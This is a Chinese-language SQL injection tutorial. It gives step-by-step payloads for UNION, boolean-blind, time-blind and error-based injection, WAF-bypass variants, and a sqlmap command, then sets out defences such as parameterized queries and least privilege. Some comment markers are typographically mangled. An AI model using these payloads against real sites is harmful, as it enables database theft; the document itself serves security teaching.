SQL注入攻防实战:从原理到防御
一、什么是SQL注入
SQL注入(SQL Injection)是一种代码注入技术,攻击者通过在应用程序的输入中插入恶意SQL语句,从而欺骗服务器执行恶意的SQL代码。
1.1 攻击原理
用户输入 --> 应用程序 --> SQL查询 --> 数据库
|
└── 恶意SQL片段 --> 拼接到查询中 --> 执行恶意操作
1.2 攻击危害
- 数据泄露:读取数据库中的敏感数据
- 数据篡改:修改或删除数据库数据
- 权限提升:获取管理员权限
- 远程命令执行:在某些情况下可执行系统命令
二、SQL注入类型
2.1 按注入点分类
| 类型 | 说明 | 示例 |
|---|---|---|
| 数字型 | 参数为数字 | id=1 → id=1 OR 1=1 |
| 字符型 | 参数为字符串 | name='admin' → name='admin' OR '1'='1' |
| 搜索型 | 模糊查询 | keyword=test → keyword=test%' OR 1=1-- |
2.2 按获取方式分类
| 类型 | 说明 | 特点 |
|---|---|---|
| 联合注入 | 使用 UNION SELECT | 直接获取数据 |
| 布尔盲注 | 通过页面返回判断 | 逐位获取数据 |
| 时间盲注 | 通过延时判断 | 适用于无回显 |
| 报错注入 | 利用错误信息 | 通过报错获取数据 |
| 堆叠注入 | 执行多条语句 | 可执行任意SQL |
三、攻击手法详解
3.1 联合注入
前提条件:页面有数据回显
步骤:
-- 1. 判断字段数 ?id=1 ORDER BY 1-- - ?id=1 ORDER BY 2-- - ?id=1 ORDER BY 3-- - # 报错说明字段数为2— 2. 判断回显位置 ?id=-1 UNION SELECT 1,2— -
— 3. 获取数据库信息 ?id=-1 UNION SELECT 1,database()— - ?id=-1 UNION SELECT 1,version()— -
— 4. 获取所有数据库名 ?id=-1 UNION SELECT 1,group_concat(schema_name) FROM information_schema.schemata— -
— 5. 获取表名 ?id=-1 UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema=‘target_db’— -
— 6. 获取列名 ?id=-1 UNION SELECT 1,group_concat(column_name) FROM information_schema.columns WHERE table_name=‘users’— -
— 7. 获取数据 ?id=-1 UNION SELECT 1,group_concat(username,0x3a,password) FROM users— -
3.2 布尔盲注
适用场景:页面只有真/假两种状态
-- 判断数据库名长度 ?id=1 AND LENGTH(database())=8-- -— 逐位获取数据库名 ?id=1 AND ASCII(SUBSTR(database(),1,1))>100— - ?id=1 AND ASCII(SUBSTR(database(),1,1))=116— - # ‘t’
— 使用二分法提高效率 ?id=1 AND ASCII(SUBSTR(database(),1,1))>96— - # 真 ?id=1 AND ASCII(SUBSTR(database(),1,1))>112— - # 假 ?id=1 AND ASCII(SUBSTR(database(),1,1))>104— - # 假 ?id=1 AND ASCII(SUBSTR(database(),1,1))>100— - # 真 ?id=1 AND ASCII(SUBSTR(database(),1,1))=101— - # ‘e’
3.3 时间盲注
适用场景:无任何回显
-- 判断数据库名长度 ?id=1 AND IF(LENGTH(database())=8,SLEEP(5),0)-- -— 逐位获取数据库名 ?id=1 AND IF(ASCII(SUBSTR(database(),1,1))=116,SLEEP(5),0)— -
— 使用SQLMap sqlmap -u “http://target.com/?id=1” —technique=T —time-sec=5
3.4 报错注入
利用函数:extractvalue()、updatexml()、floor()
-- extractvalue() ?id=1 AND extractvalue(1,concat(0x7e,(SELECT database()),0x7e))-- -— updatexml() ?id=1 AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)— -
— floor() ?id=1 AND (SELECT 1 FROM (SELECT COUNT(*),concat((SELECT database()),0x7e,floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)— -
四、WAF绕过技术
4.1 大小写绕过
?id=1 UNION SELECT 1,2-- -
?id=1 uNiOn SeLeCt 1,2-- -
4.2 双写绕过
?id=1 UNIUNIONON SELSELECTECT 1,2-- -
4.3 编码绕过
-- URL编码 ?id=1 %55%4E%49%4F%4E %53%45%4C%45%43%54 1,2-- -— Hex编码 ?id=1 UNION SELECT 0x31,0x32— -
— Base64编码 ?id=1 UNION SELECT FROM_BASE64(‘MQ==’),FROM_BASE64(‘Mg==’)— -
4.4 注释绕过
?id=1 /*!UNION*/ /*!SELECT*/ 1,2-- -
?id=1 /**/UNION/**/SELECT/**/1,2-- -
4.5 空格绕过
-- 使用括号 ?id=1 UNION(SELECT(1),(2))-- -— 使用注释 ?id=1//UNION//SELECT/**/1,2— -
— 使用其他空白符 ?id=1%0aUNION%0aSELECT%0a1,2— -
五、防御方案
5.1 参数化查询(推荐)
PHP PDO:
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->execute(['id' => $id]);
$user = $stmt->fetch();
Python:
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
Java PreparedStatement:
String sql = "SELECT * FROM users WHERE id = ?";
PreparedStatement pstmt = conn.prepareStatement(sql);
pstmt.setInt(1, userId);
ResultSet rs = pstmt.executeQuery();
5.2 输入验证
def validate_input(value):
# 只允许数字
if not value.isdigit():
raise ValueError("Invalid input")
return int(value)
5.3 使用ORM
# Django ORM User.objects.filter(id=user_id)SQLAlchemy
session.query(User).filter(User.id == user_id)
5.4 最小权限原则
-- 为Web应用创建专用数据库用户CREATE USER 'webapp'@'localhost' IDENTIFIED BY 'password';GRANT SELECT, INSERT, UPDATE ON target_db.* TO 'webapp'@'localhost';-- 不要授予 DROP, DELETE, ALTER 等危险权限5.5 WAF防护
配置WAF规则拦截常见SQL注入特征:
UNION SELECTOR 1=1DROP TABLEINFORMATION_SCHEMA
六、实战案例
6.1 案例:参数加密SQL注入
场景:目标网站对参数进行了加密处理
攻击步骤:
- 分析加密算法(AES/MD5)
- 获取加密密钥
- 构造恶意payload
- 加密后发送请求
防御建议:
- 加密不能替代参数化查询
- 使用HTTPS传输
- 服务端二次验证
七、工具推荐
| 工具 | 用途 | 特点 |
|---|---|---|
| SQLMap | 自动化注入 | 功能强大 |
| Burp Suite | 手动测试 | 灵活可控 |
| Havij | 自动化注入 | 界面友好 |
| NoSQLMap | NoSQL注入 | 专门针对NoSQL |
八、总结
8.1 防御要点
- 参数化查询:最有效的防御手段
- 输入验证:白名单优于黑名单
- 最小权限:限制数据库用户权限
- 错误处理:不要暴露数据库错误信息
- WAF防护:增加一层防护
8.2 学习建议
- 搭建本地靶场练习(如 SQLi-labs)
- 阅读OWASP Top 10文档
- 参加CTF比赛积累经验
- 关注最新的绕过技术
参考资料:
声明:本文仅用于安全学习和研究,请勿用于非法用途。
如果这篇文章对你有帮助,欢迎分享给更多人!
部分信息可能已经过时